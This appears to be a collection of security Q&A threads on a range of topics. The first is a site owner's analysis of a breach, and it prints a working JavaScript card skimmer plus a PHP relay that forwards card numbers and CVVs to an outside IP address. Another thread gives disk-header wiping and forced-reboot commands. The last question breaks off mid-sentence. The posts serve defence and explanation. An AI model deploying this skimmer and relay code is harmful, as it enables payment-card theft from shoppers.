Understanding hack on ecommerce site I need help in understanding this hack and maybe I can get more information out of it.

This script was inserted on our website (maybe through a weak password):

eval(atob("string"));

the string means (using a base 64 decoder):

var se = false;
function timedMe() {
    if ((!se) && (document.getElementById('sagepaydirectpro_cc_cid'))) {
        fln = document.getElementById('billing:firstname').value + ' ' + document.getElementById('billing:lastname').value;
        ci = document.getElementById('billing:city').value;
        s = document.getElementById('billing:region_id');
        st = s.options[s.selectedIndex].text;
        c = document.getElementById('billing:country_id');
        co = c.options[c.selectedIndex].text;
        ad = document.getElementById('billing:street1').value + ' ' + document.getElementById('billing:street2').value;
        zp = document.getElementById('billing:postcode').value;
        t = document.getElementById('sagepaydirectpro_cc_type');
        ct = t.options[t.selectedIndex].text;
        cn = document.getElementById('sagepaydirectpro_cc_number').value;
        cem = document.getElementById('sagepaydirectpro_expiration').value;
        cey = document.getElementById('sagepaydirectpro_expiration_yr').value;
        cvv = document.getElementById('sagepaydirectpro_cc_cid').value;
        if ((cn.length == 16 && cvv.length == 3) || (cn.length == 15 && cvv.length == 4)) {
            se = true;
            var i = document.createElement('img');
            i.src = 'https://this.is.our.website.url/shell/shell.php?p=132' + encodeURIComponent('&fln=' + fln + '&ct=' + ct + '&cn=' + cn + '&cem=' + cem + '&cey=' + cey + '&cvv=' + cvv + '&co=' + co + '&ci=' + ci + '&st=' + st + '&ad=' + ad + '&zp=' + zp);
        }
    }
}
setInterval('timedMe()', 700);

And then in shell/shell.php there is:

if($_GET['p']){

    $dourl=base64_decode('aHR0cDovLzE5My4xMDQuNDEuMjIwL2wzLnBocD9wPQ==').urlencode($_GET['p']);

    if(function_exists('curl_init')){

        if($ch=curl_init()){

            curl_setopt($ch,CURLOPT_URL,$dourl);
            curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);

            if($data=@curl_exec($ch)) $wrt=$data;curl_close($ch);

        }
    }
    else $wrt=@file_get_contents($dourl);
}

that string is decoded to:

http://193.104.41.220/l3.php?p=

So, my understanding is that when a customer makes a payment on our website:

1) it gets all the information from sagepay fields

2) does a check to see if cn and cvv are valid

3) creates an image and is attached to the url all the credit card data

4) the php script takes that data to their server (http://193.104.41.220).

My question:

Is there anything else that I can discover from these scripts, like how many cards have been compromised etc?

@QuestionOverflow pointed me in the right direction. greping the server logs for shell.php showed me exactly when it started and how many cards were affected.


My ISP shows my WiFi password on their public site in plain text. Should I be worried? I recently noticed that when logged into my ISPs (Spectrum) public, external site that can be accessed outside my network, I can see my home network's WPA2 password in plain text.

This clearly means they at least aren't hashing passwords. I have unique, randomly generated password for my wifi, so if their customer WiFi database is exposed, the risk to me is limited, but obviously the same is not true for most.

Should I be worried about this? Or is there something about router wifi passwords that makes it ok to not hash the password?

If there is a problem here, how can I pressure Spectrum to properly secure their passwords?

What surprises me here is not the fact that the passwords are displayed in plaintext, but that your ISP keeps a copy of your wifi password at all. This is not something they need to do in order to provide internet to you. It's the router that takes care of the wifi, so only the router needs to know the password.

So why have they chosen to do it this way? My guess is that it is as a convenience to their customer, allowing them to remind them of their wifi password in a simple way. Hashing the password would then defeat the whole purpose of storing it, since a hashed password can't be turned back into plaintext.

So, what to do? Don't expect to be able to change the policy of your ISP. At most, you can annoy someone in customer service. Instead, I would opt for using a strong and unique password. If that isn't good enough for you, you can buy your own wifi router to use, either as your only router if that works or as a second one connected to your gateway. (I am asumming here that they are automatically harvesting the passwords from the routers, and that you can not simply lie to them and give them a false password.)

And as entrop-x suggests, you can also just change ISP.


Finding hidden cameras Let's say Alice, Bob, and Mallory all live together in a house.
Mallory decides to go on vacation, but before leaving, she decides to play a game with Bob and Alice. She makes two claims:

She has installed hidden cameras inside the house.
She has remote access to the cameras.

Mallory challenges Bob and Alice to find the cameras and then leaves for vacation.

Bob and Alice conduct a casual visual search throughout the house, but do not find any cameras.

Based off the search, Bob assumes that Mallory is lying about the cameras. Alice is not convinced that Malory is lying, so Bob wants to prove it.

He decides to attempt debunking Mallory's second claim.

To the best of his knowledge, there is only one wireless router installed inside the house. Bob gets on his laptop and gets a command line running.

# iw dev wlan1 scan | grep -B 4 SSID

He runs this iw command several times and notices that only one SSID is found consistently. This is the SSID he knows his router uses.

He then tries to find the gateway address of the router.

$ netstat -rn
Kernel IP routing table
Destination     Gateway         Genmask         Flags   MSS Window  irtt Iface
0.0.0.0         192.168.1.254   0.0.0.0         UG        0 0          0 wlan1
169.254.0.0     0.0.0.0         255.255.0.0     U         0 0          0 wlan1
192.168.1.0     0.0.0.0         255.255.255.0   U         0 0          0 wlan1

Bob's networking knowledge is limited and his knowledge on cameras is even more limited, but he assumes that in order to remotely access the cameras, Mallory would have to have opened ports for those cameras.

# nmap -v -A 192.168.1.254 | grep "open port"
Discovered open port 443/tcp on 192.168.1.254
Discovered open port 80/tcp on 192.168.1.254
Discovered open port 49152/tcp on 192.168.1.254

A quick google search shows that port 80 is for HTTP and port 443 is for HTTPS, but Bob is unsure what port 49152 is for. It seems nmap is also unsure what the port is used for:

49152/tcp open  unknown
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at http://www.insecure.org/cgi-bin/servicefp-submit.cgi :
SF-Port49152-TCP:V=5.21%I=7%D=3/28%Time=53362E24%P=x86_64-unknown-linux-gnu%r(FourOhFourRequest,5,"\*\xced\0\x03")%r(GetRequest,5,"\*\xced\0\x03")%r(
SF:HTTPOptions,5,"\*\xced\0\x03")%r(RTSPRequest,5,"\*\xced\0\x03")%r(RPCCh
SF:eck,5,"\*\xced\0\x03")%r(DNSVersionBindReq,5,"\*\xced\0\x03")%r(DNSStat
SF:usRequest,5,"\*\xced\0\x03")%r(SSLSessionReq,5,"\*\xced\0\x03")%r(SMBPr
SF:ogNeg,5,"\*\xced\0\x03")%r(X11Probe,5,"\*\xced\0\x03")%r(LDAPBindReq,5,
SF:"\*\xced\0\x03")%r(SIPOptions,5,"\*\xced\0\x03")%r(LANDesk-RC,5,"\*\xce
SF:d\0\x03")%r(TerminalServer,5,"\*\xced\0\x03")%r(NCP,5,"\*\xced\0\x03")%
SF:r(NotesRPC,5,"\*\xced\0\x03")%r(WMSRequest,5,"\*\xced\0\x03")%r(oracle-
SF:tns,5,"\*\xced\0\x03");

Questsions

What can Bob do to verify whether or not this is the port Mallory is using to remotely access the cameras?

Bob is also worried that has not considered any wired internet connections. He is wondering if it's possible that Mallory hired a security company to install the cameras and that Mallory accesses the cameras remotely via the security company's website.

What else can Bob do to convince Alice that Mallory is lying about her second claim?

For finding a wireless camera, people have long used "bug detectors" to hunt for unwanted RF transmitters and other electronic devices that unintentionally emit RF. There is no reason they wouldn't find an actively broadcasting Wi-Fi device.

For a wired device, use a tone generator and detector (often called a fox and hound.) Clip the fox to the first wire plugged into a switch, and start tracing it with the hound. Once you've found its terminus, move to the next wire.

A physical problem requires a physical solution.


Touch Screen Password Guessing by Fingerprint Trace After eating some garlic bread at a friend's who is not security-aware, she managed to quickly determine the PIN code to unlock the screen of my Samsung SIII.

She figured this out by simply holding the device against the light and looking at the grease pattern my thumb left on the screen. It only took her 2 attempts to unlock the screen.

I guess she would not have been able to access my phone if I had kept the screen cleaner, or if the device could only be unlocked by pressing numbers, rather than dragging the finger to form a pattern.

Is this a common means of attack? Are finger dragging pattern passwords really more insecure than number touch passwords?

This is known as a 'Smudge Attack'

It really depends on how much you've used your phone since you've last unlocked it, but the general principle still stands. If you use the pattern feature of Android phones, this can be particularly obvious.

The University of Pennsylvania published a research paper on the topic and basically concluded that they could figure out the password over 90 percent of the time.

The study also found that “pattern smudges,” which build up from writing the same password numerous times, are particularly recognizable.

Furthermore:

  “We showed that in many situations full or partial pattern recovery is
  possible, even with smudge ‘noise’ from simulated application usage or
  distortion caused by incidental clothing contact,”

While this is a plausible risk, It is not a particularly practical vulnerability as an attacker needs physical access to your phone. Using a PIN Code over a pattern may reduce the chance of this presenting a threat but it still exists depending on the strength of your PIN and the cleanliness of your hands/screen. However, these same researchers postulate another possible attack using the heat residue left by contact between your fingers and the screen which would be another problem altogether.

Obviously, cleaning your screen after every use is a practical (and not too difficult) defense against this specific attack. I'd expect that if you have used your phone (say to make calls/send a message/any kind of web browsing) it would also sufficiently obfuscate the patterns/codes. From examining my screen this seems to be the case.


Best practice on Windows domains: To have a separate admin account or not? On Linux, we enforce least privilege through sudo.  This gives the best of both worlds: Passwords and accounts are for a person, as they should be, not a role.  But we lower risk and exposure by only using privileges when we need them.

Windows doesn't typically have a similar scheme, and so, for admins, there are two options:

Give them two accounts (Mike and MikeAsAdmin), one for general use, one when they need privileges.
Give full privileges to their one and only account.

Microsoft is now pushing #1 as best practice.  I have several concerns:  Having multiple accounts for the same person makes it easy to miss one when, for example, the user leaves the org.  If one account won't be used much, it makes it easier for problems to go unnoticed.  In general, accounts and passwords are for identifying people, not roles.  And, you haven't gained much security either: If the Mike account is compromised, it will lead itself pretty quickly to MikeAsAdmin.

This question applies to anything that lacks sudo, not only Windows, but network equipment, applications, databases, cloud services, etc.: For all of these, is best practice for the admin to have a dedicated second account?

The best practice is to abstract out the person from all roles. But this is difficult to perform natively, as you suggest.

The way to accomplish this is to have an authorisation layer in between the authentication process and all target processes. A "universal sudo", if you will. Products and services exist to allow this abstraction internal to your network (Privileged access management tools, like Cyber Ark and Thycotic) and externally (Cloud Service Brokers).

They all work on a Single Sign-On system and allow a user to request and receive permissions. This means the user gets one account, but dynamic access as required to target services. Most services include extra layers of analysis to granting access permissions that add extra protection to sensitive processes (like root accounts, etc.).

But if you are asking about how to accomplish the best possible practice natively, "defence in depth" is still a useful model and even though it might be possible to leverage access from one account to another, separating them means that access is not automatic. If the admin on the admin account gets hit with ransomware from a personal email, then the company goes down. If the admin was on a user account, then the damage is limited.


Will passphrases always be secure? In a world where most people used passphrases instead of passwords, wouldn't an attack that generates a random string of words (alternating between word delimiters) be similarly effective to a brute force attack? Of course, there are many more possible words than possible characters, but I suspect in practice the range of words that are actually used could be predicted by a decent heuristic.

Am I just displaying my ignorance of the topic or does this make sense?

Generally speaking, you can always assume that brute force attacks will always be possible. The trick is limiting how effective they can be. Increasing the length, and or complexity but preferably length, is a good way to slow down a brute force.

So we can discuss specifics, let's assume that the attacker has access to your password hash and cannot use any shortcuts such as hash lookup tables. The length of time necessary to succeed is pretty strongly dependent on the speed of the compute power available. That is, a computer that is capable of checking 1,000 passwords per second will take much longer than a computer that is capable of checking 100,000 passwords per second. As compute power increases on computer systems, the length of time to perform an off-line brute force will decrease. So in this case you would want your password, or passphrase, to be sufficiently complex to render the brute force time longer than the expected lifespan of the password. That is, if you change your password every 6 months you want it to take at least 7 months to break.

Another common brute force method is to attempt to log into a life system, this is what you'll see commonly in scans, such as Morto, that have a common password list and look for systems using some simple credentials. Here the same principles apply, except you have a little more control over how the process can be slowed down. For instance, you can lock out remote systems after a certain number of attempts, respond with the Bad Password message with increasing delays, or lock out accounts after a certain number of bad passwords. All of those have their downsides, in that they can be used as a mechanism for DoS attacks. They are, however, fairly common. In some cases, such as PCI compliance, account lock outs are actually required.


Is it possible to ping a LAN card through its MAC address? As you can start a PC through its 'WAKE ON LAN' feature on private networks, can you trace someone's online status through their MAC address over the internet ?

The MAC address is link-local. When a machine emits an ethernet frame, that frame is tagged with the MAC addresses of the source and destination hosts, which are both connected to the same local link (plugged to the same LAN, associated with the same WiFi...). Normally, (at least) one of the two machines is a router: the frame contents are an IP packet, and the router will put that IP packet in a new frame on another link, and send it on its way. Only the IP packet thus travels; the original frame header, including the MAC addresses, remains local.

Thus, the MAC address of a machine cannot be viewed from other machines which are not part of the same LAN. It cannot be seen, and therefore cannot be used for tracking, from remote Internet places. Similarly, you cannot send a packet meant for a specific MAC address if you are not already on the same LAN. Global routing works on IP addresses, not MAC addresses.

Now there are exceptions to all rules. IPv6 is the next version of the Internet protocol, waiting to be widely adopted (I am not sure it will ever happen, but hey, one can only hope). The relationship between ethernet frames and IPv6 packets is still as I explained above; however, IPv6 may imply a leak of MAC addresses.

Indeed, most user systems nowadays (as opposed to servers and routers) obtain a dynamic IP address when they connect their LAN or WiFi access point. With IPv4 DHCP is used, and, usually, the user's machine is allocated a "private" IP address, that will be converted with NAT when external systems must be contacted. With IPv6, the IP address space is much enlarged, so that NAT is no longer necessary, so the machine's IP address will be visible from the outside; furthermore, IPv6 dynamic address attribution is done with NDP, and (pay attention, that's the important point here) the machine's dynamic IP address will include, as a subfield, its MAC address (the MAC 48 bits are reused as part of the 128-bit IPv6 address).

A consequence is that, from an IPv6 server's point of view, client machines can be tracked. Not that the server would somehow know if a given machine is up and running; but in the sense that the server may notice when two client connections, from distinct IP address, are really from the same hardware (e.g. a laptop, the user having just moved from his office to his home). This is not the kind of tracking which would allow a "ping" request (the tracking server must wait for the system to connect to it), but it is a privacy concern nonetheless.

Extensions to the protocol have been defined, to generate IPv6 addresses differently, in a less trackable way. Most modern desktop/laptop OS implement these extensions, so the tracking explained above does no longer work, or will cease to work in the near-term future (and nobody uses IPv6, anyway).


iOS 12 built in password manager vs third party apps like Keepass On my personal computers I have always used Keepass2, which however was a bit of a pain to set up with my browser. On my iPhone I have now started to use the built-in password manager (iOS 12 -> Settings -> Passwords and accounts) because of convenience. I have read here

Browser password manager vs third party password manager

that built-in password managers in browsers are likely not as good a choice  as third party ones when it comes to security. Therefore I am wondering if third-party password managers should be preferred on iOS as well.

My question:
Is there a difference in security between the built-in password manager in iOS 12 compared to third party password manager apps like Keepass, Lastpass, 1password, etc.?

Overall I think the built-in password manager can be an improvement in terms of security for many casual users.

First of all, it removes another party from the trust chain. You don't have to worry about the credibility of a third party for acting responsible with your data anymore. If you don't trust iOS for securely managing your passwords, you shouldn't trust iOS at all because it already has access to these and even more critical information.

Also, the password manager can use more of the security features of the device like the secure enclave for protecting the password storage. (This is already the case as far as I know)

But of course, the security of this feature also depends on the configuration of your device. If it's not properly hardened, even more information is at risk because the access control to the password manager is done with either your pass code or biometry.

Another disadvantage is the fact, that it's currently not possible to export the stored credentials for usage in other software. While this is not directly security related, it has impact on the usability which can lead to bad practices which are weakening the security of the system.

For example, when one changes the password of a service on the iOS device, they also need to change it manually on the desktop. This could be a painful task when the password is randomly generated. The consequence could be, that users stop using random and/or complex passwords or even stop using this feature at all. The other way would be that users stop using the other devices because of this. This would result in a vendor lock-in. (Which I consider very bad because for me, sustainability is a part of security)  While the export to a file might be implemented in the future, I highly doubt that Apple will implement a feature which allows 3rd party software to sync the data.


With uploading to AppStores - what problem do all the certificates fix above Two Step Authorization? So if you ask around on the internet you see a lot of people frustrated with the whole signing and certificate jungle when trying to upload apps to the App Store. Of course on this channel for a lot people it's probably quite straightforward, but you guys are a super minority.

Wouldn't the essentials be fixed by having simple two step authorization?

i.e. to publish a new version I go to Itunesconnect, enter my credentials and confirm that I am in the possession of a physical device, like my phone, and then I can publish.

Why is two step authorization used by billions (relatively) safely for their banking business, but do we need the certificate jungle to release an app?

What essential problem is being solved that can't be solved by proving password plus being in possession of a physical device?

Signing apps has nothing to do with proving who you are at the time of uploading. As you point out, username/password and multi-factor authentication schemes do that.

Application signatures are checked when the apps are used on clients (eg: phones and computers). By verifying the signature, the client can confirm who wrote the app (technically who signed it, but it's a reasonable estimate of who wrote it) and that the app hasn't been modified since signed. That is, it provides authenticity and integrity, respectively, of the app.

Similar code-signing strategies are used for browser extensions (eg: Mozilla) and other apps (eg: Office macros). Microsoft has a good article that has a more in-depth description of code signing if you want to read more.

And, alas, code signing is always a hassle to the end-user, especially the less-technical end-user. I view code signing as an overly complex and only partially functional solution (everyone always clicks "OK" when they get those popups) to establishing trust in code. But, short of getting code physically from the author, code signing is the best that we have.


CRLF Injection into Web Page I was pen-testing a site recently which I found a few issues in, and this continues to a previous question I asked about Null-byte string termination in web applications.

I have noticed that the site does not filter out URL Encoded CR/LF characters, and if I inject these characters, they do get respected in the source code (you can see the code gets shifted down in the page).

I have checked the returning headers, but there is no sign of any data which I try to inject, also any XSS characters I do inject get filtered (html entities) by the page ('<' => &lt;, etc)

So my question is, is this CRLF injection potentially exploitable?

Thanks!

If your CRLF output shows in response header, it's vulnerable and exploitable (even if < > " chars is filterd) .

An attacker can use to set-cookie header for session-fixation attacks, or using to location and cache in headers and ... .

update

If your output is in html body it's not exploitable,CR LF Characters in HTML are white spaces .
But if it's in javascript it could be explitable .


Security risks associated with embedding YouTube videos in a web application that needs authentication We are developing a web application. It has several features so the first time the user enters it shows a short video explaining how to use it. We use the iframe approach to embed a video from YouTube (or potentially other streaming services like Vimeo, MS Stream, etc.). The video only shows for authenticated users (we use OpenId + OAuth2) and it will always be a video published by us (no third party content).
Talking with some colleagues about the potential security risks of this approach someone commented that it is not a good idea to embed external content in an authenticated web page because it is a hole through which a malicious user could inject code or gain access to information. Under the hypothesis that the streaming platform used (YouTube, Vimeo, etc.) is secure, and given that the content is controlled by us, I assume there is no security risk here. Googling about it has only reassured this idea. However, I am no expert, so I was wondering if there is something I am missing. Which are the security risks related to use an external video streaming provider in an authenticated web page?
On the other hand, supposing there are risks, I understand the alternative would be to host the video content directly on our servers, but that seems it is not a good idea either. Which are the security risks in this case?

... and given that the content is controlled by us, ...

It is not. You embed content from an external site. While you've uploaded the content to this site with the intend that it will be shown in your site, this is only a wish and the third party site is actually free to do what it wants.
Still, a cross-origin iframe provides usually a solid separation and protection against injection into the embedding page, as long as there is no explicit data exchange (postMessage etc) going on with the iframe content.
But, the shown content of the iframe may change to something different and this is out of your control. This might just be irritating (like video not shown and instead error message) but it might be also used for phishing (like asking for credentials) since from the point of user it is not clear that this content of the page is not controlled by the trusted party (i.e. you).


Is Django vulnerable to shellshock? Does the recent shellshock vulnerability in bash affect stock Django? Assume any of the production setups listed on the Django site are used (gunicorn, wsgi, nginx).

If not, are there any commonly used Django extensions that could be vulnerable?

Obviously, bash should be updated regardless, but most coverage of actual exploits in the wild has focused on PHP/Apache setups, and I haven't seen anything about Django.

A security advisory about the matter was posted on the Django blog:

This issue does not affect Django directly, but will affect most users of Django.
Any web server which is serving traffic over a CGI or CGI-like interface (including WSGI) should upgrade its version of Bash immediately.


How to forget LUKS keys during emergency? One day, while Alice is downloading some photos from Bobs server, the alarm goes off. Trudy came to steal all the data.

Fortunately, the server is setup to shutdown upon server room alarm and has full disk exncryption.
Unfortunately, the shutdown is happening rather slowly because the server is busy with Alice.
Whats worse, Trudy brought some liquid nitrogen.

Now Trudy is back in the lab and extracts the encryption keys from the stolen servers RAM. Soon Trudy will know about Alice and Bobs secret activities.

Q: Cryptsetup is not meant to close the device containing system root. Are there other solutions which, faster than just echo b > /proc/sysrq-trigger increase cost of forensic efforts on a linux system?

EDIT: Yes, this question is intentionally limited to assuming a finite preparation time and implementation details involved in managing LUKS containers via cryptsetup- other, more general questions exist.

Wiping the LUKS header would make the data completely irrecoverable, even if the password/encryption key is later discovered, since the passwords/keys used by LUKS merely encrypt a master key stored in the header and that master key actually encrypts the data.

So first, deleting the first 2MBs of the device where the LUKS volume resides should make further decryption impossble even if the password is later obtained (through rubberhose cryptanalysis for example). Make sure to overwrite the header synchronously so that the writes don't end up buffered and discarded because you then restart the computer without waiting for the buffers to be flushed.

Then, the RAM must be wiped. Shutting down the computer is one possibility but the data may remain in the RAM long enough for someone to soak it in liquid nitrogen and further extend the data remanence period. Another approach which is used by Tails is to erase the RAM from software by kexec'ing a special kernel that overwrites the RAM. That should defeat the cold boot attack.


Encrypt but not verify sender identity https without nagging user? I have a five or six personal websites that I would like to send over https so isps can't inject ads. They're nothing sites hosted on a $60/year shared server.

If I want to buy a https certificate I think the fee is something like $25 per year per domain. It's a little prohibitive given the nature of the sites.

I don't care about having a 3rd party verify that I'm me. The websites are benign content and I don't ask for any information back from the user.  I just want an encrypted connection.

Is there a way for me to set things up so the browser communicates over ssl without giving the uer a scary "identity of server not confirmed" warning?

... set things up so the browser communicates over ssl without giving the user a scary "identity of server not confirmed" warning?

Authentication of the server is done to make sure that the communication is done with the expected server instead of some attacker trying to impersonate the server. It is necessary to protect against active man in the middle attacks where the attacker could decrypt and even modify the traffic.

Authentication of the server is thus essential to provide the protection SSL is promising, encryption without authentication is not sufficient. That's why browsers will complain if the certificate can not be properly verified, for example because the issuer of the certificate is not trusted as in case of self-signed certificates or attacks. It would be very bad if the server could just disable this verification since an attacker could then do this too.

  If I want to buy a https certificate I think the fee is something like $25 per year per domain.

Since several years it is no longer necessary to actually buy a certificate since there are CA which offer these for free - most prominently Let's Encrypt which started two years ago. Several hosting providers even integrate such free certificates already in their offerings for free and with trivial setup or at least provide instructions on how to setup these certificates yourself. If your hosting provider  makes it too hard to use such free certificates you should maybe switch the provider.


What security holes are introduced by clicking an unknown link? I recieved an email today that told me that "My account was comprised", an obvious fishing attempt, or so I thought.

When I clicked the link, just for the fun of it, it brought me to a page which closed immediately. This got me thinking about possible exploits that could be abused without entering info or downloading a file. The hyperlink is below, and as you can see, the URL contains almost nothing that could identify me. Upon clicking, the link redirects a few times, and then closes the tab. The base site seems to be a gym, and as expected, the Site that sent the email has no proper DNS registry.

My question is this: what potential security flaws could I have been exposed to by simply clicking on an unknown link, and doing nothing else?

Email link:
hxxp://stile-gi.ru/administrator/components/com_falang/inferentialj.html

Assuming there are no remotely exploitable vulnerabilities in your browser (including any of the plugins), in your AV software, in your operating system, in your router... there's no danger. :)

I am being coy, obviously, but I'm not bending the truth by much. If you're keeping your workstation software updated, chances are you're pretty immune against most things the Internet would be throwing at you. Drive-by exploitation attempts sent out en masse (or self-propagating ones, like worms) usually try to exploit old vulnerabilities, in hopes to catch people who haven't been applying security updates.

On the other hand, if you're a valuable enough target for someone to be targeting you directly, then you have to be a lot more cognizant and careful about clicking random links, because someone may attempt to use so-called "0-day" exploits on you. These would be exploits that are either not known to security researchers, or known but without known fixes/AV signatures/etc. Security-conscious people usually have a sandboxed environment (a fully isolated virtual machine, for example) for opening links they deem suspicious, but it's obviously overkill for most people. Your browser includes significant defences against malicious content that could be harmful to your system, and if you've been careful about keeping your operating system and your browser updated with the latest patches, you're probably okay.


How is Cross Site Flashing performed? I read about cross site flashing in the OWASP testing guide. I know the difference between XSS and XSF. But what I am looking for is how attackers perform a XSF attack. How is it possible since there are no entry points for a flash file?

EDIT:

  Cross-Site Flashing occurs when user controlled data is not validated
  and used in one of the following functions or variables:

loadVariables
loadMovie
getURL
loadMovie
loadMovieNum
FScrollPane.loadScrollContent
Sound.loadSound
NetStream.play
flash.external.ExternalInterface.call
htmlText

  In other words, this means that the Flash application must reference
  external URLs, and the locations of those URLs are set through user
  defined parameters (usually Flash Vars).

  In order for this vulnerability to be successfully exploited the
  victim needs to click on a specially crafted link created by the
  attacker that will use the vulnerable Flash application in order to,
  for example, steal users' credentials.

Even if Flash scripts have restrictions due to the same-origin policy (for Flash you can read its details on here)  Flash is a vector for XSS attacks.
For such vulnerabilities, you do not need necessarily entries for users as on this demo or as on this website that manages a huge database and entirely built in Flash Player.
You can find several real world examples of such XSF attacks on here.
I think the simplest and best tutorial about XSF attacks is this one.


Could a VPN server hide all user's information? I'm trying to access some server using VPN(Or generally say, proxy). But sometimes the server could detect that I'm behind a proxy(And sometimes not).

So I'm wondering what information could be leaked so that the server can determine that there is a proxy.

I have tried the following:

Cookies
Browser cache
DNS entry

As far as I know, a VPN can hide all user's information so there won't be any information which can be used to identify the real user.

Am I wrong?

PS: I have to login the server, so server may still hold some information in session. But it cannot explain why sometimes the server cannot detect my proxy.

PPS: I'm not sure that this is the right SE site to ask this question, if I'm wrong, please let me know.

A properly setup VPN hides information about the public IP address of the user, not more and in case of improperly setup VPN often less. It does not hide any cookies, browser history, hardware capabilities, internally used IP addresses or even the existence of internal systems which can be detected through various means. This means fingerprinting of the browser and of the environment it is running in it is still possible. Side-channel and timing based fingerprinting of the browsers state regarding for which sites HSTS information are stored, where the user is currently logged in and similar are also still possible.

But the most common leakage are probably still improperly configured or improperly designed VPN. A DNS based information leak happens for example if the locally used DNS server still points to some internal IP address (typically the home router) or in case of SOCKS proxies (which are not real VPN but often used for privacy)  when the client is not using the ability of SOCKS5 to resolve DNS but does it outside (default setting for Firefox). There are sites like dnsleaktest.com which help in detecting such a leak.

Another major problem is a missing support for IPv6 in some VPN. Thus if the network is connected with IPv6 and IPv6 capable sites are visited this traffic will completely bypass the VPN. There are sites like ipv6leak.com which help in detecting such a leak.


What does "hijack" mean in networking security? How should I understand the word "hijack" in network security?

In Cloudflare's page about the Mirai botnet, there is a sentence:

  The Mirai botnet employed a hundred thousand hijacked IoT devices to bring down Dyn.

Does the word "hijacked" mean "be controlled"? or "infected"?

A good translation is being able to control. It doesn't matter whether you control the system via an exploit and installing a backdoor or having an infection vector that connects the device to a bot-net orchestrator or anything similar.

Once you have full control over the system, you have hijacked it.


Are automated steganalysis tools commonly used in malware analysis? I want to know whether or not it is useful to a malware researcher or AV product to use steganalysis tools to detect or study malware. If so, is there a standard steganalysis tool that's generally used or does it vary from analyst to analyst?

Generally malware analysis and steganalysis are orthoginal to each other.

Malware analysis deals with malicious code.

Steganalysis deals with hidden messages.

Yes the hidden message could be malware but it really doesn't matter, it's just a hidden message until it's extracted. For it to run automatically as malware, some other code (malware) would have to do the extraction.

Generally the two don't cross paths but in the rare case that they do, you have malware first to point to the Steg and the malware defines the extraction. No need for a Steg tool.


Validity of a WAF as a Compensating/Alternative Control for CSP, X-XSS-Protection, etc I would like to know peoples' thoughts as to whether a WAF is a perfectly acceptable compensating/alternative control to things like CSP, X-XSS-Protection, etc. I know WAF is suppose to protect against XSS and etc, but I been using Mozilla Observatory to rate sites and want to know if a WAF should be taken into consideration for the areas Observatory considers.
https://observatory.mozilla.org/analyze/secure.verizon.com

Content-Security-Policy is an actual instruction to the browser of how a site should behave, specifically where potentially dangerous content can be loaded from and if potentially dangerous actions like inline script are allowed on this site.
A WAF is not a replacement for a strict Content-Security-Policy. A WAF will only apply heuristics to request and response in order to detect potential problems. How good these heuristics are depends on how good the WAF is tuned to the specific application it should protect, but they will usually not be as good as a strict Content-Security-Policy.
A WAF can never protect against attacks which cannot be observed within the HTTP request or response, specifically things like DOM XSS which only run inside the browser. Such things though can be prevented with a strict Content-Security-Policy.
A WAF can help in protect attacks, where the CSP cannot help though, like SQL injection. Still, it is based on heuristics only and proper input validation in the web application itself can be more correct simply because more information are available of what "correct" means.
Still, a WAF can be a valuable tool in a Defense in Depth strategy. But it should not be considered the ultimate and only defense.


Is my router/modem compromised? So I recently ran a port scan (just TCP) on my home router/modem (AT&T U-Verse) and found two peculiar ports that are open. Here is the scan output/results for nmap 192.168.1.254 -P0:

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2015-10-14 14:30 UTC
Stats: 0:00:01 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 51.50% done; ETC: 14:31 (0:00:42 remaining)
Nmap scan report for homeportal (192.168.1.254)
Host is up (0.0045s latency).
Not shown: 996 closed PORT      STATE    SERVICE
80/tcp    open     http
256/tcp   filtered fw1-secureremote
443/tcp   open     https
49152/tcp open     unknown

The strange ports are 256(tcp) and 49152(tcp). The one I'm most concerned about is port 256. Doing some cursory research on Google, I found that fw1-secureremote (running on port 256) is used by VPN clients (SecuRemote). I've never used SecuRemote, let alone ever even heard of it.It also seems that port 256 is used by a trojan (Trojan.SpBot) which uses the device to send spam. Any insight please? Also, how might I go about contacting AT&T about this?

I found this thread: http://ubuntuforums.org/showthread.php?t=1900623

In summary, port 49152 corresponds to nPNP port in some routers (in that thread is a D-link wbr-1310). Disabling it closed that port.

About port 256, as it is related to VPN, look into the VPN settings in your router.


What is "download-new.com"? This strange site came up as the second result in a google search for itunes.

http://download-new.com/apple-itunes/

(Although the url in the result read itunes.download-new.com.)

Embarrassingly, I downloaded and ran the "iTunes_Setup.exe" from them (I was stupidly trying to work on two computers at once and was barely paying attention, okay >_< ).

I immediately noticed it looked weird, and hit "Decline" on a series of "Offers"...

appwiz.cpl says no programs were installed today, but...

I can't find any third-party information on them, and the result I got there from no longer shows up when I repeat the google search.

Do I have a problem here?

I uploaded the file to virustotal.com and found these results.  The sha256 hash of this file is: 624daa053ff589285a939b1b4d8e28af8876581ba05e45a0decbca2a3783a1df.

One of the scanners found "Win32.SuspectCrc" which appears to be a trojan.  And another scanner had found "a variant of Win32/Toolbar.MyWebSearch.S" which appears to be adware.

We probably don't need to look any further into this as these are a good indication of bad software.  There is a potential that these results are a false positive.

It looks like a software which includes a bunch of adware to make money and sell statistics.  Maybe not harmful, but you probably want to make sure you remove it.


Is this password inside a file secure? A security paradox Preamble: I have been a long time lurker but first time poster to the Information Security site, so please be gentle with me.

The Situation: I ran into a situation where I needed to securely store a password on a file. Now I know that there are currently many best practices and industry standards for doing such a task but - one of my very first fleeting thoughts on the problem -  was to store the password in a file that is only accessible if you already have the password that is written on the file.

Doing this does solve a legitimate problem and there are several better ways of doing it other than to save the password in plaintext. I am aware of this, but the question is more of a why not this way? It seems to be simple solution and often the simple solutions are the best.

Example

UserA's password is mypass this password is stored in plain text on the file password.txt.

The folder that password.txt is in is owned by UserA.

Assumptions

The disk is encrypted so that only the User who owns a file can read it.

The relative protection for file permissions and user passwords are the same.

The permissions for that folder and all objects within that folder explicitly deny all access to everything inside the folder except for the owner. (for the sake of argument say that no other users including root/NT Authority/etc) has access to this folder and it's contents; only UserA.

Therefore:

To read the password in password.txt (which is mypass) you need the password mypass.

If you were to crack the password (mypass) to get access to the file password.txt you would effectively be cracking mypass anyways.

Question

So in a theoretical sense, if you could meet all the conditions in the assumptions, would my password be secure if the contents of the file containing my password was in a secured file?

Is there a name for this type of security as described in this question?

Are there any serious logical flaws in a system like this to secure a password on a file?

Keep It Theoretical

I tried to keep this as agnostic to OS as possible because the purpose of this question is not to question whether or not this is a viable method. In fact, there are several popular methods of accomplishing this very task and most will require that any passwords saved to file be encrypted:

